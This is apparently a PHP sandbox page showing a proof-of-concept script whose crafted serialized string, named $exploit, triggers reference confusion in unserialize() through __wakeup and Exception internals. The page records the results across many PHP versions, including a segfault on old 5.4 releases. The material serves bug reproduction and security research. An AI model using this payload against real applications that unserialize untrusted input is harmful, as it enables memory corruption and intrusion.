@ 2015-10-02T12:07:23Z <?php
class obj {
var $prop;
function __wakeup() {
$this->prop = 1;
}
}
$exploit = 'a:3:{i:0;O:9:"exception":1:{s:17:"'."\0".'Exception'."\0".'string";a:1:{i:0;a:1:{i:0;i:1;}}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}';
$x = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($x);
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Output for 8.1.0 - 8.1.27 , 8.2.0 - 8.2.17 , 8.3.0 - 8.3.4 Fatal error: Uncaught TypeError: Cannot assign array to property Exception::$string of type string in /in/I9tvP:11
Stack trace:
#0 /in/I9tvP(11): unserialize('a:3:{i:0;O:9:"e...')
#1 {main}
thrown in /in/I9tvP on line 11
Process exited with code 255 . Output for 5.4.39 - 5.4.45 , 5.5.24 - 5.5.35 , 5.6.7 - 5.6.28 , 7.0.20 , 7.1.5 - 7.1.20 , 7.2.0 - 7.2.33 , 7.3.16 - 7.3.33 , 7.4.0 - 7.4.33 , 8.0.0 - 8.0.30 array(3) {
[0]=>
&int(1)
[1]=>
object(obj)#2 (1) {
["prop"]=>
&int(1)
}
[2]=>
array(1) {
[0]=>
array(1) {
[0]=>
int(1)
}
}
}
Output for 7.0.0 - 7.0.6 , 7.1.0 array(2) {
[0]=>
&int(1)
[1]=>
object(obj)#2 (1) {
["prop"]=>
&int(1)
}
}
Output for 5.4.9 - 5.4.38 array(3) {
[0]=>
&int(1)
[1]=>
object(obj)#2 (1) {
["prop"]=>
&int(1)
}
[2]=>
&NULL
}
Output for 5.4.2 - 5.4.8 array(3) {
[0]=>
&int(1)
[1]=>
object(obj)#2 (1) {
["prop"]=>
&int(1)
}
[2]=>
*RECURSION*
}
Process exited with code 139 . preferences:dark mode live preview
192.31 ms | 401 KiB | 224 Q